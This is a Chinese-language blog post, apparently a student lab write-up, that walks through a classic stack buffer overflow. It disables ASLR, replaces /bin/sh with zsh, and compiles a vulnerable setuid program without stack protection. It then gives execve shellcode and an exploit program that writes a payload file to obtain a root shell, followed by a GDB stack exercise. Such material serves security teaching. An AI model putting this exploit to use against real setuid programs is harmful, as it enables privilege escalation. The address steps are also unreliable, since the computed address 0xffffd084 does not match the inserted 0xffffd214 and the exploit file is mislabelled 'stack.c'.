學習緩沖區溢出


學習緩沖區溢出的意義

  • 概念解釋:
    • 緩沖區溢出:程序試圖向緩沖區寫入超出預分配固定長度數據的情況。
    • 緩沖區溢出漏洞:由於數據緩沖器和返回地址的暫時關閉,溢出會引起返回地址被重寫。這一漏洞可以被惡意用戶利用來改變程序的流控制,甚至執行代碼的任意片段。
    • 緩沖區溢出攻擊:通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,造成程序崩潰或使程序轉而執行其它指令,以達到攻擊的目的。

緩沖區溢出漏洞實驗

實驗准備

為搭建32位操作環境,方便觀察匯編語句,我們進行以下操作:

  1. 輸入以下三個命令安裝用於編譯32位C程序的工具:
sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev
  • 若執行第一條更新命令時,如出現“無法獲得鎖/var/lib/dpkg/lock”的情況,是因為系統中只允許有一個apt-get進程
  • 解決思路是:先看看有沒有其他窗口在使用資源,正在進行更新,或者軟件中心正在安裝等,再將其關閉,最后重啟虛擬機。
    具體步驟如下:
    • 輸入“ps -aux”查找最后一列以“update”或“apt-get ”開頭的進程,並記住該進程的PID;
    • 輸入“sudo kill 該進程的PID”結束該進程。

2.輸入命令linux32進入32位linux環境(如圖1-1),執行該命令后觀察終端窗口最上方可發現已經進入32位linux環境(前后對比圖如1-2所示),接着輸入/bin/bash使用bash,結果如圖1-3所示:

(圖1-1)

(圖1-2)

(圖1-3)

實驗步驟

1.初始設置

(1) 緩沖區溢出攻擊的關鍵是猜測內存地址,所以為了方便我們對地址的猜測,我們使用sudo sysctl -w kernel.randomize_va_space=0命令類關閉“地址空間隨機化”這一功能,(請注意這里是++sysctl++而不是++sysct1++)如圖2-1所示:

(圖2-1)

Ubuntu和其他一些Linux系統中,地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址。

  • sudo sysctl -w kernel.randomize_va_space=0命令詳細分析如下:
    • sysctl命令用於運行時配置內核參數,還可以設置或重新設置聯網功能。
    • -w參數用於臨時改變某個指定參數的值。格式為「 sysctl [-n] [-e] -w variable=value」
    • 設置全局變量 randomize_va_space 值為 0 (該值默認為1),可以讓程序的棧和 mmap 映射區域從一個固定位置開始。

為了進一步防范緩沖區溢出攻擊及其它利用shell程序的攻擊,許多shell程序在被調用時自動放棄它們的特權。因此,即使你能欺騙一個Set-UID程序調用一個shell,也不能在這個shell中保持root權限,這個防護措施在/bin/bash中實現。

  • 在這里對“shell程序”、“Set-UID程序”進行詳細解釋,方便大家理解:
    • shell是用戶使用Unix/Linux的橋梁。shell程序是一支程序,它由輸入設備讀取命令,再將其轉為計算機可以了解的機械碼,然后執行它,即計算機用來解釋你輸入的命令然后決定進行何種處理的程序。
    • shell與bash的關系:Unix/Linux上常見的Shell腳本解釋器有bash、sh、csh、ksh等,習慣上把它們稱作一種Shell,其中bash是Linux標准默認的shell。
    • “Set-UID”:當一個具有執行權限的文件設置SetUID權限后,用戶執行這個文件時將以文件所有者的身份執行。例如“passwd”命令具有SET-ID權限,所以可以作為root執行命令。這里由於shell程序的防護措施,即使某個shell被賦予了SetID權限也無法保持root權限任意執行命令。

(2)設置zsh程序

linux系統中,/bin/sh實際是指向/bin/bash或/bin/dash的一個符號鏈接。

  • 對/bin/sh的詳細介紹:
    • /bin/sh相當於 /bin/bash --posix,即使用 sh 調用執行腳本相當於打開了bash 的 POSIX 標准模式
    • 運行ls -l /bin/sh 結果如圖2-2所示:

  • 根據對ls -l指令的了解,我們知道,第一個字母“l”表示該文件是一個鏈接文件。字母"l"是link(鏈接)的縮寫,類似於windows下的快捷方式 ;后面的 “->" 箭頭符號后面跟着的是這個鏈節文件所指向的文件名
    • 鏈節文件:分為硬鏈接或符號鏈接(軟鏈接)兩種。硬鏈接實際上是為文件建一個別名,鏈接文件和原文件實際上是同一個文件。;而軟鏈接建立的是一個指向,即鏈接文件內的內容是指向原文件的指針,它們是兩個文件。
    • bash 的 POSIX 標准模式:當“$0”是“sh”的時候,bash程序執行時要求下面的代碼遵循一定的規范,當不符合規范的語法存在時,則會報錯所以可以將“sh”理解成一種標准(POSIX),這種標准,在一定程度上保證了腳本的跨系統性(跨UNIX系統)

為了重現“shell程序在被調用時自動放棄它們的特權”這一防護措施被實現之前的情形,我們使用另一個shell程序(zsh)代替/bin/bash。命令如下:

1. sudo su
2. cd /bin
3. rm sh
4. ln -s zsh sh
5. exit
  • 命令分析如下:

    • sudo su 命令缺省參數時表示“使用超級用戶權限切換為root賬戶模式”。
    • ln命令用來為文件創件連接,默認為硬鏈接,加參數-s則創建符號鏈接,類似於Windows下創建了一個文件夾的快捷方式。結果:將zsh(源文件)鏈接到sh(目標文件)。
  • 運行結果如圖2-3所示:

(圖2-3)

如果是用自己的虛擬機進行實驗,實驗結束后一定要把sh修改回來,步驟和上述步驟相同,先進入linux32,再進入/bin/bash,輸入以下命令:

1. sudo su
2. cd /bin
3. rm sh
4. ln -s dash sh
5. exit

2.shellcode

一般情況下,緩沖區溢出會造成程序崩潰,在程序中,溢出的數據覆蓋了返回地址。而如果覆蓋返回地址的數據是另一個地址,那么程序就會跳轉到該地址,如果該地址存放的是一段精心設計的代碼用於實現其他功能,這段代碼就是shellcode

本次實驗的shellcode就是下方代碼的匯編版本“\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80”:

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

在64位的機器上產生32位匯編:

gcc -m32 -g shellcode.c -o shellcode

3.漏洞程序

在“/tmp”目錄下保存以下代碼為“stack.c”:

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);//將主函數中讀入的文件內容裝入“buffer”

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");//讀取一個名為“badfile”的文件
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
  • 編譯該程序,並設置SET-UID:
1. sudo su
2. gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
3. chmod u+s stack
4. exit
  • 詳細解釋:
    • GCC編譯器有一種棧保護機制來阻止緩沖區溢出,所以我們在編譯代碼時需要用 –fno-stack-protector 關閉這種機制;
    • -z execstack 用於允許執行棧;
    • -m32 -g 在64位的機器上產生32位匯編。

4.攻擊程序

  • 目的:攻擊剛才的漏洞程序“stack”,並通過攻擊獲得root權限。

  • 步驟:

    • 1.在“/tmp”目錄下保存以下代碼為“stack.c”:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);//shellcode保存在 buffer+100 的位置

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代碼,“\x??\x??\x??\x??”處需要添上shellcode保存在內存中的地址,因為發生溢出后這個位置剛好可以覆蓋返回地址。

  • 2.運行命令```gdb stack``進入調試狀態后,輸入“disass main”指令后運行結果如圖2-4所示:

(圖2-4)

  • 3.依次輸入以下命令:
q//退出
b *0x080484e8//在0x080484e8位置設斷點
r//運行
i r $esp//獲取str首地址

運行結果如圖2-5所示:

(圖2-5)

  • 4.根據語句 strcpy(buffer+100,shellcode); 我們計算shellcode的地址為 0xffffd020(十六進制)+100(十進制)=0xffffd084(十六進制)。
  • 5.將exploit.c文件中的\x??\x??\x??\x?? 修改為\x14\xd2\xff\xff。
    • 解釋:地址0xffffd214對應的路徑為\x14\xd2\xff\xff。
  • 5.編譯exploit.c程序
gcc -m32 -o exploit exploit.c

5.攻擊結果

  • 先用./exploit運行攻擊程序exploit,再用./stack運行漏洞程序stack,觀察結:
    • 出現“段錯誤”,錯誤結果如圖2-5所示:
    • 攻擊成功獲得root權限,利用whoami查詢后發現是root。
  • 出錯解決方案:重新使用gdb反匯編,計算內存地址。
  • 按上述方法操作后仍然出現段錯誤怎么辦?

GDB調試匯編堆棧過程課堂實踐

  • 代碼樣例week060420155312.c:
int g(int x){
   return x+3;
}
int f(int x){
    int i = 學號后兩位;
   return g(x)+i;
}
int main(void){
   return f(8)+1;
}

  • 命令匯總:
    • 使用“gcc -g week060420155312.c -o week0604 -m32”產生32位匯編,生成可執行文件week0604
    • gdb week0604:使用gdb調試器
    • (以下為在調試狀態下的輸入)b 10:在主函數處設置行斷點
    • r:運行
    • disassemble:顯示當前所處函數的反匯編機器碼
    • i r:顯示各寄存器的值
    • display /i $pc:每次執行下一條匯編語句時,均打印出當前執行的代碼
    • si:執行下一條匯編語句
    • x/參數 + 棧指針的值:以參數規定的形式查看棧中某地址單元中的值。eg:x/u 0xffffcfe8;x/2a 0xffffcfe0

f函數執行的整個過程中,各寄存器和棧中的變化情況如下圖所示:

參考資料

1.linux ls -l 詳解
2.bash的POSIX標准
3.ln命令
4.GDB調試匯編堆棧過程分析


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM